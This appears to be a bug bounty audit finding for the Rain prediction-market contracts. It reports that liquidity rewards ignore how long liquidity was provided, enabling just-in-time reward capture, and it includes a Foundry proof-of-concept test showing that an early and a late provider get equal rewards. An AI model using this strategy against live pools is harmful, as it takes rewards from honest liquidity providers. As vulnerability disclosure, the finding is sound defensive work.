https://github.com/hackenproof-public/rain-contracts
Liquidity providers are rewarded only once at pool close via a single liquidityShare pot, split proportionally to each LP’s final userLiquidity / totalLiquidity. There is no time weighting. An LP who adds liquidity right before closePool() receives the same proportional reward as an LP who provided the same amount from the start, without bearing market risk. Combined with other gating bugs (e.g., end-inclusive saleIsLive), this enables “just-in-time” liquidity capture.
closePool(): computes a fixed pot
liquidityShare = (allFunds * liquidityFee) / FEE_MAGNIFICATION; (src/RainPool.sol)claim(): splits the pot by final balances
liquidityReward = (liquidityShare * userLiquidity[msg.sender]) / totalLiquidity; (src/RainPool.sol)userLiquidity only increases on adds and never decays with time.Related issues increasing exploitability:
saleIsLive allows post-close entry in the same block as closePool() (end-inclusive, ignores poolFinalized).A. Let some trading occur.closePool() via RAIN-010), LP2 enters with the same amount A.claim(), both LPs receive approximately the same liquidity reward: ~liquidityShare * A / (A + A).POC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import "forge-std/Test.sol";
import {RainFactory} from "src/RainFactory.sol";
import {RainDeployer, IRainDeployer} from "src/RainDeployer.sol";
import {RainPool} from "src/RainPool.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ERC20Mock} from "src/mocks/ERC20Mock.sol";
contract Rain025_LiquidityNotTimeWeightedTest is Test {
function test_EqualLiquidity_EarlyVsLate_SameReward() public {
RainFactory factory = new RainFactory();
address owner = makeAddr("owner");
address resolverAI = makeAddr("resolverAI");
ERC20Mock base = ERC20Mock(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
deal(address(base), address(this), 1e15);
RainDeployer impl = new RainDeployer();
bytes memory init = abi.encodeWithSelector(
RainDeployer.initialize.selector,
address(factory), address(this), address(base), owner, resolverAI,
address(0x25118290e6A5f4139381D072181157035864099d),
address(0xE592427A0AEce92De3Edee1F18E0157C05861564),
6, 12, 25, 15 * 1e6, 12, 1
);
RainDeployer dep = RainDeployer(address(new ERC1967Proxy(address(impl), init)));
uint256[] memory w = new uint256[](2); w[0]=50; w[1]=50;
IRainDeployer.Params memory p = IRainDeployer.Params({
isPublic: true, resolverIsAI: true, poolOwner: owner,
startTime: block.timestamp + 1, endTime: block.timestamp + 100,
numberOfOptions: 2, oracleEndTime: block.timestamp + 200,
ipfsUri: "ipfs://tw", initialLiquidity: 10_000_000,
liquidityPercentages: w, poolResolver: owner
});
base.approve(address(dep), p.initialLiquidity + dep.oracleFixedFee());
RainPool pool = RainPool(dep.createPool(p));
vm.warp(p.startTime + 2);
address lp1 = makeAddr("lp1");
address lp2 = makeAddr("lp2");
deal(address(base), lp1, 10_000_000);
deal(address(base), lp2, 10_000_000);
vm.startPrank(lp1); base.approve(address(pool), type(uint256).max); pool.enterLiquidity(10_000_000); vm.stopPrank();
// Let time pass; lp2 enters late with same amount
vm.warp(p.endTime - 1);
vm.startPrank(lp2); base.approve(address(pool), type(uint256).max); pool.enterLiquidity(10_000_000); vm.stopPrank();
// Close and set winner
vm.warp(p.endTime + 1);
pool.closePool();
vm.prank(resolverAI);
pool.chooseWinner(1);
// Wait out dispute window (60 min)
vm.warp(block.timestamp + 60 minutes + 1);
// Liquidity rewards should be proportional to final balances -> equal for lp1 and lp2
uint256 liqShare = pool.liquidityShare();
uint256 totalLiq = pool.totalLiquidity();
uint256 r1 = (liqShare * pool.userLiquidity(lp1)) / totalLiq;
uint256 r2 = (liqShare * pool.userLiquidity(lp2)) / totalLiq;
assertEq(r1, r2, "liquidity rewards differ; expected equal without time weighting");
}
}